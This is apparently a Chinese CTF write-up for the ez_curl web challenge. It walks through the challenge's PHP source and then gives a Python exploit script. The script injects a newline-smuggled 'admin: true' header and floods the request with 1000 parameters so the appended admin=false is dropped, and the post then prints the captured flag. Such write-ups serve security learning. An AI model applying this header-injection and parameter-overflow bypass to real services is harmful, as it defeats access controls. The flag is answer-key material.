【攻防世界】Web系列之ez_curl

【攻防世界】Web系列之ez_curl

打开题目发现,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
$offset = stripos($headers[$i], ':');
$key = substr($headers[$i], 0, $offset);
$value = substr($headers[$i], $offset + 1);
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
die('try hard');
}
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
try hard1

我们先来分析下代码吧,php代码看着挺难受的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__) #讲当前文件代码已语法高亮的形式输出到浏览器
$input = file_get_contents('php://input'); #接受xml文件json数据
$headers = (array)json_decode($input)->headers; #提取请求头信息,讲其转换为数组提取头部信息
$offset = stripos($headers[$i], ':'); #查找":"的在数组元素中第一次出现的位置
$key = substr($headers[$i], 0, $offset);
$value = substr($headers[$i], $offset + 1);#截取数据
for($i = 0; $i < count($headers); $i++){
$offset = stripos($headers[$i], ':');
$key = substr($headers[$i], 0, $offset);
$value = substr($headers[$i], $offset + 1);
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
die('try hard');
}
}

循环体里面的代码是获取请求信息头header数组中的所有键值对,并且判断键值对是否符合[“admin”:”true”],否则就退出脚本结束程序

1
2
3
4
5
6
7
8
9
10
11
12
13
$params = (array)json_decode($input)->params;  #获取请求信息中的params参数
$url .= http_build_query($params); #将参数拼接到url中作为访问参数
$url .= '&admin=false'; #添加到url中作为参数
$ch = curl_init(); #初始新的curl会话

#下面就是设置URL,请求头部,最长毫秒为5000
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch); #传递给浏览器
curl_close($ch); #关闭curl资源
echo $result;

所以需要将请求参数admin置为true,将后面拼接的admin=flase丢弃掉,这里需要利用默认最大接收参数长度为1000从而使得后面加入的admin=flase丢弃掉。

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import json

url = "http://61.147.171.105:49169/"

datas = {"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"],
"params": {"admin": "true"}}

for i in range(1000):
datas["params"]["x" + str(i)] = i

headers = {
"Content-Type": "application/json"
}
json1 = json.dumps(datas)
print(json1)
resp = requests.post(url, headers=headers, data=json1)
print(resp.content)

获取flag:

1
CatCTF{23aaaab824aadf15eb19f4236f3e3b51}
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信